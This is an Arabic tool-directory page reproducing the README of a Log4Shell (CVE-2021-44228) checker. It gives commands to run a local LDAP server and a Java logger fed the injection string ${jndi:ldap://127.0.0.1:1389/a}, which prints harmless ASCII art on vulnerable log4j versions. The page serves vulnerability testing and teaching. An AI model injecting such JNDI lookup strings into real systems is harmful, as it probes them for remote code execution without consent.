Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-44228 — مفحص الثغرة CVE-2021-44228 | Kitploit
أدوات/GitHubGitHub/greymd/cve-2021-44228
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubgreymd/cve-2021-44228

CVE-2021-44228

مفحص الثغرة CVE-2021-44228

عرض المستودع
354منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مدقق CVE-2021-44228

هذا هو المستودع للتحقق من الثغرة الأمنية CVE-2021-44228.

هذا دليل إثبات المفهوم (PoC) يعرض فقط سلاسل نصية دون تحميل أي فئات خارجية. لا يمكن استخدامه لتنفيذ أكواد عشوائية.

كيف يعمل؟

الخطوة 1: تشغيل تطبيق الخادم

الصورة ghcr.io/greymd/cve-2021-44228/server متاحة ويمكن تشغيلها على Docker.

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

الخطوة 2: الوصول إلى نقطة النهاية باستخدام log4j

قم بإعداد الكود لإخراج السجلات باستخدام log4j وتشغيله على نفس المضيف. اجعل سلسلة الإخراج ${jndi:ldap://127.0.0.1:1389/a}.

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

إذا كانت الوسيطة تسبب ثغرة، فسيتم تسجيل العبارة 「うんこもりもり」(والتي تعني "الكثير من البراز") بنجاح.

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

إذا كنت كسولًا لكتابة وبناء الكود الخاص بك، يمكنك استخدام تطبيق مسجل بسيط في هذا المستودع. سيتم إخراج الوسيطة الأولى بواسطة المسجل.

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

مثال على إعطاء وسيطة تسبب ثغرة سيكون كما يلي.

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

إذا كان لديك إصدار من log4j غير متأثر بالثغرة، أو أن تطبيق الخادم لا يعمل، فسيتم إخراج السلسلة كما هي دون أي تعديل. يمكنك التحقق من ذلك بتحديث إصدار تطبيق المسجل كما هو موضح أدناه.

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

تشغيل تطبيق الخادم بدون Docker

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

الدافع

كما ذكرت (وحسب ما قمت بالتحقيق فيه)، لن يتم إعادة إنتاج هذه الثغرة ما لم يكن خادم الوجهة لـ JNDI قيد التشغيل. لذلك، فإن دليل إثبات المفهوم البسيط مفيد.

المراجع

تم استخدام عناوين URL التالية كمرجع في التنفيذ.

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

الإصدارات المختبرة

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)
تنزيل الأداة